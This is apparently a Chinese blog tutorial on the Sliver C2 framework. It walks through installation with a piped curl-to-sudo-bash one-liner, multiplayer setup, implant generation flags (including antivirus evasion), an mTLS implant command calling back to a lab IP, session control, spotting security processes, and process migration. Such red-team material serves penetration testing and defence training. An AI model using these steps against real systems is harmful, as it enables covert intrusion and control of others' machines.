sliver C2 基本使用

sliver C2 基本使用

Sliver 是一个命令和控制 (C2) 开源和跨平台框架,由BishopFox于 2020 年发布。Sliver C2 旨在为传统渗透测试工具提供强大的替代方案,它提供了一套独特的功能,支持与受感染系统的动态交互。它旨在逃避检测,并包括多平台支持、加密通信和生成模块化植入物的能力等功能。

技术构建

Sliver 生态系统有四个主要组成部分:

  • 服务器控制台 -服务器控制台是主界面,运行可执行文件时启动sliver-server。服务器控制台是客户端控制台的超集。除与客户端(即操作员)管理相关的服务器特定命令外,所有代码都在客户端/服务器控制台之间共享。服务器控制台通过内存中的 gRPC 接口与服务器对话。
  • Sliver 服务器 - Sliver 服务器也是sliver-server可执行文件的一部分,用于管理内部数据库、启动/停止网络侦听器(例如 C2 侦听器,尽管还有其他类型)。用于与服务器交互的主要接口是 gRPC 接口,所有功能都通过该接口实现。默认情况下,服务器将仅启动内存中的 gRPC 侦听器,该侦听器只能从服务器控制台进行通信。但是,gRPC 接口也可以通过相互 TLS(mTLS)暴露给网络(即多人模式)。
  • Sliver 客户端 -客户端控制台是用于与 Sliver 服务器交互的主要用户界面。请注意,服务器控制台中的大部分代码实际上是客户端控制台。客户端控制台也可以编译成单独的客户端二进制文件sliver-client,通常用于连接到“多播放器” gRPC 网络监听器。
  • 植入物——植入物是在您想要远程访问的目标系统上运行的实际恶意代码。

Screenshot_15.png

sliver的安装

官方提供了一句话命令
curl https://sliver.sh/install|sudo bash

也可以直接在github上下载编译好的对应的操作系统二进制文件,给与相应的权限即可运行
GitHub地址:https://github.com/BishopFox/sliver/releases

基本使用

在Linux下运行./sliver-server_linux即可运行sliver服务端,当看到banner的输出信息就说明成功启动了,可以通过help命令来查看使用。

Screenshot_2.png

基本命令

clear: 清除屏幕
exit: 退出shell
help: 使用 help [command] 获取命令帮助
monitor: 监控威胁情报平台上的Sliver植入
wg-config: 生成新的WireGuard客户端配置
wg-portfwd: 列出由WireGuard tun接口转发的端口
wg-socks: 列出监听在WireGuard tun接口上的socks服务器

通用命令

aliases: 列出当前别名
armory: 自动下载和安装扩展/别名
background: 将活动会话置于后台
beacons: 管理信标
builders: 列出外部构建器
canaries: 列出先前生成的金丝雀
cursed: Chrome/electron后期开发工具包
dns: 启动DNS监听器
env: 列出环境变量
generate: 生成一个植入二进制文件
hosts: 管理主机数据库
http: 启动HTTP监听器
https: 启动HTTPS监听器
implants: 列出植入构建
jobs: 任务控制
licenses: 开源许可证
loot: 管理服务器的战利品存储
mtls: 启动mTLS监听器
prelude-operator: 管理与Prelude Operator的连接
profiles: 列出现有配置文件
reaction: 管理对事件的自动反应
regenerate: 重新生成一个植入
sessions: 会话管理
settings: 管理客户端设置
stage-listener: 启动分阶段监听器
tasks: 信标任务管理
update: 检查更新
use: 切换活动会话或信标
version: 显示版本信息
websites: 托管静态内容(与HTTP C2一起使用)
wg: 启动WireGuard监听器

多人模式命令

kick-operator: 从服务器踢出一个操作员
multiplayer: 启用多人模式
new-operator: 创建一个新的操作员配置文件
operators: 管理操作员

多人协同

如果需要使用多人模式则需要通过服务端创建一个配置文件并再服务端通过multiplayer命令来启动多用户模式。

 服务端创建一个新的连接
 new-operator --name h4ck --lhost 192.168.45.128
 启用多人模式
 multiplayer

Screenshot_1.png

在服务端成功启动多人模式后,将服务端生成的配置文件下载到客户端,并在新的窗口启动客户端并将配置文件导入 ,当看到save new client 的输出后说明导入成功,此时再执行客户端文件,就可以正常加入到服务器。

 客户端导入服务端生成的配置文件,以建立新的连接
 ./sliver-client_linux import h4ck_192.168.45.128.cfg 

Screenshot_3.png

payload生成

generate 命令在 Sliver 中的作用是生成一个 payload。generate参数如下:

参数解释
--help:显示此命令的帮助信息。

--os:指定操作系统。常见选项包括 windows、linux、darwin(macOS)等。例如:--os windows。

--arch:指定体系结构。常见选项包括 amd64、x86、arm 等。例如:--arch amd64。

--name:指定 payload 的名称。例如:--name my_payload。

--debug:启用调试模式,生成包含调试信息的 payload。

--debug-file:将调试信息保存到指定文件。例如:--debug-file debug.log。

--evasion:启用反检测技术以避免被防病毒软件检测到。

--skip-symbols:跳过符号信息的生成。

--template:使用自定义模板生成 payload。

--external-builder:使用外部构建器生成 payload。

--disable-sgn:禁用 SGN(安全网关)技术。

--canary:插入 canary 值以检测是否被篡改。

--mtls:启用 mTLS(双向 TLS)通信。

--wg:使用 WireGuard VPN 进行通信。

--http:使用 HTTP 协议进行通信。

--dns:使用 DNS 协议进行通信。

--named-pipe:使用命名管道进行通信(仅限 Windows)。

--tcp-pivot:启用 TCP pivot 技术。

--key-exchange:指定密钥交换算法。

--tcp-comms:使用 TCP 协议进行通信。

--run-at-load:生成在加载时运行的 payload。

--strategy:指定重连策略。例如:--strategy exponential。

--reconnect:指定重连间隔时间。例如:--reconnect 10s。

--poll-timeout:指定轮询超时时间。例如:--poll-timeout 5s。

--max-errors:指定最大错误次数。例如:--max-errors 3。

--limit-datetime:指定 payload 运行的时间限制。例如:--limit-datetime "2023-12-31T23:59:59"。

--limit-domainjoined:限制 payload 仅在加入域的计算机上运行。

--limit-username:限制 payload 仅在指定用户名下运行。

--limit-hostname:限制 payload 仅在指定主机名的计算机上运行。

--limit-fileexists:限制 payload 仅在指定文件存在时运行。

--limit-locale:限制 payload 仅在指定区域设置下运行。

--format:指定输出格式。常见选项包括 exe、dll、dylib、elf 等。例如:--format exe。

--save:将生成的 payload 保存到指定文件。例如:--save /path/to/payload。

--timeout:指定 payload 超时时间。

Screenshot_14.png

现在我们通过 generate 命令在 Sliver 中生成一个 payload 命令,来输出一个exe文件 ,类似于msfvenom,

generate --mtls 192.168.45.128:9990 --os windows --arch 64

Screenshot_4.png

再创建一个mtls(双向 TLS)监听器,通过jobs命令来查,可用的监听器

Screenshot_5.png

implants查看所有生成的payload

Screenshot_18.png

会话交互

当目标机器上后 可以通过sessions进行查看 ,与msf较为相似,当目标上线会随机生成ID,通过sessions命令查看所有的会话,如果要使用会话的话可用通过,sessions -i + 会话ID 启用会话 ,sessions -k --kill 结束会话 ,当然也可以直接使用use + ID命令来来启用会话
Screenshot_6.png

Screenshot_7.png

当使用ps列出目标进程的时候sliver会对目标机器的防护进行标记,在Sliver的ps命令输出中,标红加深的进程通常表示这些进程属于安全产品或防护软件。这些进程对攻击者来说具有重要意义,因为它们可能会监控系统活动、检测和阻止恶意行为。这些进程可能会影响到后续的攻击活动,因此需要特别注意。

在下面的输出中,可用看到标红加深的进程如下:

MsMpEng.exe (Microsoft Defender Antivirus Service): 这是Windows Defender的一部分,负责防护恶意软件和其他威胁。

Windows Smart Screen (smartscreen.exe): Windows SmartScreen是一个反网络钓鱼和反恶意软件服务,用于检测和阻止潜在有害的文件和网站。

这些进程被标红加深是为了提醒攻击者,这些进程作为安全防护进程,可能会对攻击活动进行检测和阻止。因此,在进行进程迁移或其他后续操作时,需要考虑这些防护进程的存在和潜在影响,而绿色的则是我们生成的payload

Screenshot_10.png

Screenshot_9.png

Screenshot_8.png

Screenshot_11.png

同时,在列出进程的时候,sliver也会给出相应的安全警告,如上图所示:

  • ⚠️ Security Product(s): Windows Defender, Windows Defender, Windows Defender
    • 说明:系统上检测到多个Windows Defender实例运行。这可能是多个不同的组件或实例在运行,如实时保护、扫描进程等。

退出当前会话,返回主命令行可以使用background命令

Screenshot_19.png

进程迁移

进程迁移命令与msf相同都使用migrate -pid命令,对进程进行迁移

migrate --pid 1648

当执行进程迁移之后,发现还是原来的pid,接着使用sessions命令发现多出一条session,使用use + ID切换session ,再次查看pid,发现是进程迁移后的pid, 说明进程迁移成功了,最后可以通过 sessions -k 或者 --kill 结束session ,只留下迁移后的session

Screenshot_12.png

shell交互

在sliver中可以通过shell命令来获取交互式shell,但是当输入shell命令时,会弹出一个警告消息,提示这是不好的操作安全实践(OPSEC),并询问是否确定继续,这是因为直接在目标系统上打开shell可能会暴露攻击者的存在或者导致其他安全风险。

Screenshot_13.png
以下是提示消息的解释:

? This action is bad OPSEC, are you an adult? Yes

解释:

  • ? This action is bad OPSEC:这个操作是一种不好的操作安全实践。OPSEC(操作安全)是指在进行任务或操作时采取的安全措施,以避免暴露敏感信息或导致被发现。
  • are you an adult?:这是一个讽刺性的提问,意在强调你是否有足够的经验和判断力来意识到这种操作的风险。

OPSEC 风险

直接在目标系统上打开 shell 可能会带来以下风险:

  1. 暴露攻击行为:在目标系统上执行命令可能会留下日志或其他痕迹,使得管理员能够发现攻击行为。
  2. 触发安全警报:直接操作目标系统可能会触发安全系统的警报,例如入侵检测系统(IDS)或安全信息和事件管理(SIEM)系统。
  3. 损害隐蔽性:保持隐蔽是许多渗透测试和红队操作的关键目标,直接打开 shell 可能会损害这种隐蔽性。

为了减少这些风险,通常建议使用更加隐蔽的方法进行命令执行和数据收集,例如通过已经建立的通信通道发送命令和接收结果,而不是直接打开 shell。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注